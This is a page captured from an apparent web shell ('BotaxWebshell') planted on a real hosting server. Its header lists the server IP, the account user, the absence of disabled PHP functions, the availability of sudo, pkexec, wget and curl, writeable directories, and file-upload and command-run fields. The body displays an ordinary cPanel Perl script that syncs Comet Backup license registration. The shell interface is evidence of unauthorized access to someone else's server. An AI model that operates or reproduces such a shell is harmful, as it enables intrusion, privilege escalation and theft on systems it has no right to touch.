BotaxWebshell
Server IP : 68.178.172.28  /  Your IP : 216.73.217.169
Web Server : Apache
System : Linux 28.172.178.68.host.secureserver.net 4.18.0-553.125.1.el8_10.x86_64 #1 SMP Wed May 20 11:06:10 EDT 2026 x86_64
User : kiskarnal ( 1003)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /scripts/comet_license_registration_sync
#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - comet_license_registration_sync
#                                      Copyright 2025 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

use strict;
use warnings;

my $PLUGIN_DIR     = '/var/cpanel/plugins/comet-backup';
my $APP_DIR        = '/var/cpanel/apps';
my $CONF_FILE      = 'whm-comet-backup.conf';
my $PLUGIN_CONF    = "$PLUGIN_DIR/$CONF_FILE";
my $REGISTERED_LOC = "$APP_DIR/$CONF_FILE";
my $FEATURE_CONF   = "$PLUGIN_DIR/comet_backup.json";
my $REGISTER_CMD   = '/usr/local/cpanel/bin/register_appconfig';
my $UNREGISTER_CMD = '/usr/local/cpanel/bin/unregister_appconfig';
my $LICENSE_FILE   = '/var/cpanel/extended_auth/storage/comet';
my $FEATURESC_DIR  = '/usr/local/cpanel/Cpanel/Config/ConfigObj/Driver';
my $FEATURESC_FILE = "$FEATURESC_DIR/comet_backup.json";

sub has_license {
    if ( -f $LICENSE_FILE ) {
        return 1;
    }

    require Cpanel::Server::Type;
    my @products = Cpanel::Server::Type::get_products();
    return grep { $_ eq 'comet_backup' } @products;
}

sub is_registered {
    return -f $REGISTERED_LOC;
}

my $has_license   = has_license();
my $is_registered = is_registered();

if ( $has_license && !$is_registered ) {
    system( $REGISTER_CMD, $PLUGIN_CONF ) == 0 or exit 1;
    system( "/usr/bin/cp", $FEATURE_CONF, $FEATURESC_FILE ) or exit 1;
}
elsif ( !$has_license && $is_registered ) {
    system( $UNREGISTER_CMD, $PLUGIN_CONF ) == 0 or exit 1;
    unlink $FEATURESC_FILE;
}

exit 0;

Youez - 2016 - github.com/yon3zu
LinuXploit